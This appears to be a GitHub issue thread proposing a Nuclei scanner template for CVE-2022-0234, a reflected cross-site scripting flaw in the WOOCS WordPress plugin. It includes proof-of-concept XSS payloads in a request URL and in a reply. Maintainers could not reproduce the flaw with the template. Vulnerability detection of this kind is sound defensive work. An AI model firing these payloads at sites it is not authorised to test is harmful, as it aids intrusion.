CVE-2022-0234
akincibor opened this issue · comments
akincibor.eth commented
id: CVE-2022-0234
info:
name: WOOCS < 1.3.7.5 - Reflected Cross-Site Scripting
author: Akincibor
severity: medium
description: The plugin does not sanitise and escape the woocs_in_order_currency parameter of the woocs_get_products_price_html AJAX action (available to both unauthenticated and authenticated users) before outputting it back in the response, leading to a Reflected Cross-Site Scripting.
reference:
- https://wpscan.com/vulnerability/fd568a1f-bd51-41bb-960d-f8573b84527b
tags: xss,wp,wordpress,wp-plugin
requests:
- method: GET
path:
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=woocs_get_products_price_html&woocs_in_order_currency=<img src onerror=alert(document.domain)>'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<img src onerror=alert(document.domain)>'
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
Dhiyaneshwaran commented
@akincibor
Not able to reproduce the vulnerability on the vulnerable plugin, kindly share the debug
data.
akincibor.eth commented
Hi, could you try this payload %3Csvg%20onload=confirm(1)
Dhiyaneshwaran commented
@akincibor didn't work
Dhiyaneshwaran commented
@akincibor kindly provide the debug
of the response , we are not able to reproduce this on the vulnerable plugin version
Ritik Chaddha commented
Hello @akincibor, thank you so much for sharing this template with the community and contributing to this project 🍻